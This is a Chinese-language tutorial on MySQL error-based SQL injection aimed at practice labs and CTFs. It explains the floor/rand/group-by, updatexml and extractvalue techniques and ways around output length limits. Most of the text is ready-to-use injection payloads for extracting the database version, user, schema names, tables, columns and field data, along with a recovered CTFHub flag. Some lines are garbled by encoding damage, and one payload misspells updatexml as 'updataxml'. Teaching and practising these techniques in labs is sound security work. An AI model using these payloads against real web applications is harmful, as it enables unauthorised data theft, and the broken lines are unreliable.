原理

利用数据库的某些机制,人为的制造语法错误或者其他错误,并加以其他sql语句构造payload,使得查询结果能够出现在错误信息中�?

三种常用报错

报错注入大概涉及函数10-20中,这里当然写不完,大家可以私下里去查询,这里就介绍靶场和CTF中常见的函数,但是CTF比赛中sql注入也考的比较少了,仅供参考�?

Floor()报错

限制:使用了mysql_error()等输出mysql报错才可以,mysql5.x版本

原理建议大家直接阅读木头师傅的文章,我这里只是结合payload简单讲解一下。http://wjlshare.com/archives/220

简单介绍一下floor(x);rand();cout();concat();group by四个函数,可以让大家更好的理解一下�?

floor()

floor(x),也写做Floor(x),其功能是“向下取整”,或者说“向下舍入”,即取不大于x的最大整数(与“四舍五入”不同,下取整是直接取按照数轴上最接近要求值的左边值,即不大于要求值的最大的那个值)。(与celling()函数相反,从英语角度看,一个地板一个天花板也好理解�?
简单点来说,floor()函数返回小于等于该值的最大整�?.例如�?

Iv934A.png

Iv9Z1x.png

结合这两张图相信大家理解起来就简单多了�?

rand()

rand函数不是真正的随机数生成器,而srand()会设置供rand()使用的随机数种子。如果你在第一次调用rand()之前没有调用srand(),那么系统会为你自动调用srand()。而使用同种子相同的数调用 rand()会导致相同的随机数序列被生成�?
rand()函数就是生成一�?0-1之间的一个随机数,例如在mysql中如下图
注意:在rand(0)小于等于三个时,rand()和rand(0)时没有区别的,但是当rand(0)大于三个时,就会产生变化,如下�?

Iv9lAH.png

cout()

count()函数有两种使用方式:
1.使用count(*)对表中行的数目进行计数,不管表列中包含的是否空�?(NULL)还是非空值�?
2.使用count(columns)对特定列中具有值的行进行计数,忽略NULL值;

简单来说cout()函数就是一个进行统计函�?

concat()

返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL�?
例如:concat("11,22,33")
返回:|112233|

综述

单独介绍完了函数,那么介绍一下连接起来的函数。floor() 函数的作用就是返回小于等于括号内该值的最大整数,也就是取整�?

floor(rand(0)*2)就是对rand(0)产生的随机序列乘�?2后的结果,再进行取整。得到伪随机序列为如下图所示:

Iv9MHe.jpg

group by函数主要用来对数据进行分组(相同的分为一组)
不过这里重点时group by函数的执行过程。group by key 在执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则更新临时表中的数据(更新数据时,不再计算rand值);如果该key不存在于临时表中,则在临时表中插入key所在行的数据。(插入数据时,会再计算rand值)相信大家很难理解,那么我用一个例子解释一�?
select count(*),floor(rand(0)*2) x from users group by x; -- 上面已经介绍过floor(rand(0)*2)函数了�?
这一串函数就是用来报错的sql语句,那么就用它来解释一下,如下过程�?

当mysql执行结果,会产生0 1 1 0 1 1这个序列,当group by时,会建立如下虚拟表,在这张虚拟表中,key也就是主键这是不可以重复�? 还有一个count(*) 这个是记数的,然后从sql语句执行结果序列�?011011)读取数据并插入虚表:

Iv9mjK.jpg

�?1)虚表写入第一条记录,执行floor(rand(0)*2),发现结果为0(此时为第一次计�?)

Iv9unO.jpg

�?2)查询虚拟表,发�?0的键值不存在,则插入新的键值的时候floor(rand(0)*2)会被再计算一次,结果�?1(此时为第二次计算),插入虚表,第一条记录插入完毕,结果�?1。如下图:

Iv9KBD.jpg

�?3)虚表写入第二条记录,再次计算floor(rand(0)*2),发现结果为1(此时为第三次计算),此时结算结果为1,所以floor(rand(0)*2)不会被计算,直接count(*)�?1,第二条记录写入完毕。查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count(*)�?1,第二条记录查询完毕,结果如�?:

Iv9ec6.jpg

�?4)虚表写入第三条记录,再次计算floor(rand(0)*2),发现结果为0(此时为第4次计�?),计算结果为0,此时虚表中没有0的数据记录,则执行插入该数据,插入时会再次计算floor(rand(0)*2)(此时为�?5次计算),计算结果为1。然�?1这个主键已经存在于虚拟表中,而新计算的值也�?1(主键键值必须唯一),所以就产生了主键冲突的错误,也就是:Duplicate entry 的报错�?

Iv91Nd.jpg

select count(*),floor(rand(0)*2) x from information_schema.tables group by x
那么相信大家对这条报错语句报错的原理也就理解了,那么将这条报错语句再整合进去,变成下面这句sql语句
and (select 1 from(select count(*),concat((PAYLOAD语句),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a) --+

我们要知道group by()函数结合rand()cout(*)函数会报错,那么我们用concat()函数将这个报错语句和我们需要进行查询的东西结合起来,那么就会将我们想要得到的东西带出来(database()) 例如sqllab�?

Iv9G9I.png

马赛克部分是因为我写了点东西在里�?(无关紧要),可以看到我们成功爆破出了库名。只需要将database()修改为你想要的就可以了,下面就是一些常用的语句�?

获取数据库版本信�?

and (select 1 from(select count(*),concat(version(),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);

获取当前数据�?

and (select 1 from(select count(*),concat(database(),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);

获取用户

and (select 1 from(select count(*),concat(user(),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);

获取数据�?
第一张表,一张张的获取通过更换limit 中的�?

and (select 1 from(select count(*),concat((select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);

获取表中的列

and (select 1 from(select count(*),concat((select (column_name) from information_schema.columns where table_name='数据表名' limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);

获取字段数�?

and (select 1 from(select count(*),concat((select (字段�?) from 数据�?.表名 limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);

Updatexml()报错

限制:开启mysql数据库报错信息显�?,mysql5.1.5+,有长度限制最�?32�?

updatexml函数:更新xml文档的函�?  
语法:updatexml(文档类型,xpath路径,更新的内容�?
报错原理:updatexml(a,b,c) 如果b的位置不是xpath语句,那么就会报错,当然就可以带出我们想要的结果
模板:and updatexml(1,concat(0x7e,(PAYLOAD语句)),1); -- 通过concat()函数连接报错语句和我们的语句

Iv9J3t.png

获取数据库版本信�?

and updatexml(1,concat(0x7e,version()),1);

获取当前用户

and updatexml(1,concat(0x7e,user()),1);

获取所有数据库名称
通过更换limit 0,1 中的数字来进行遍�?

and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1);

获取数据�?
通过更换limit 0,1 中的数字来进行遍�?

and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1);

获取�?
通过更换limit 0,1 中的数字来进行遍�?

and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test' limit 0,1)),1);

获得对应列的数�?
通过更换limit 0,1 中的数字来进行遍�?

and updatexml(1,concat(0x7e,(select id from 数据�?.数据�?  limit 0,1)),1);

Extractvalue()报错注入

限制:开启mysql数据库报错信息显�?,mysql5.1.5+,有长度限制最�?32�?

extractvalue:对xml文档进行查询的函�?

语法:extractvalue(文档类型,xpath路径)

extractvalue(a,b),如果b的位置不是xpath语法就会报错,同样通过报错带出我们想要的结果�?
模板:and extractvalue(1,concat(0x0a,(payload语句) 通过concat()函数连接报错语句和我们的语句

Iv9YgP.png

Updatexml()&&Extractvalue()绕过长度限制

这两种函数我们前面说过有长度限制,例如下面的sql注入,可以看到我们这里因为长度限制并没有显示完整的flag

Iv9tjf.png

那么有没有办法绕过长度限制呢?当然有;接下来我就介绍几种可以绕过长度限制的函�?

substr函数

substr(被截取字符串,起始位置,截取几位) (substr利用)

1 and extractvalue(1,concat(0x0a,(select concat(0x7e,substr(flag,1,10),0x0a) from flag limit 0,1)));
(这里两个concat是必不可少的,第一个concat和我们的sql注入进行结合,第二个concat�?0x7和substr()进行结合确保数据显示完整)
既然限制长度�?32位,那么我们就用substr()先截�?10位,再截取后�?40位,例如刚才的flag

Iv9Uu8.png

前面10位为ctfhub{1ff 那么我们后面再截取就要从11位开始往后截�?

Iv9dHg.png

后面的为c4c5728555e15c253c0c1} 那么完成的flag:ctfhub{1ffc4c5728555e15c253c0c1}

substring()&&length()函数

substring(被截取字符串,开始位置,截取几位) 这里截取几位可以省略,省略后默认截取30�?
substring(flag,1) 省略截取几位,那么就从一开始截取直到最大限制位30�?
substring(flag,31) 再从30位开始截取,一直截取完
截取全部flag语句

1 and updataxml(1,concat(0x0a,select(concat(0x0a,substring(flag,1),0x0a) from flag limit 0,1))) 截取�?30�?
1 and updataxml(1,concat(0x0a,select(concat(0x0a,substring(flag,31),0x0a) from flag limit 0,1))) 截取剩下�?

这里我就不在靶场中演示了,跟上方substr()一样的方法�?

left()函数

select left(user(),4);运行结果为root �? 从左往右取4个字�? 数字可以更改

Iv90EQ.png

right()函数

select right(user(),4);从右往左取四个数,数字可以更改

Iv9BNj.png

mid()函数

select mid(a,b,c)
a:获取的字符串 b:开始获取的位置 c:返回字符串的位�?

select mid(user(),1,10) 获取user() 从第一位获取到�?10�?
select mid(user(),1) 获取user() 从第一位获取到最后最�?

Iv9D4s.png

sql报错注入是很灵活的,在实战中要根据情况灵活变通,同时更要学会结合其他漏洞加以利用�?

参�?

https://www.bilibili.com/video/BV1VA411u7Tg?p=9

http://wjlshare.com/archives/1317

https://zhuanlan.zhihu.com/p/373726885

https://blog.csdn.net/cried_cat/article/details/80022378

https://www.cnblogs.com/chuanzhang053/p/9228633.html

https://blog.csdn.net/mastergu2/article/details/106671359/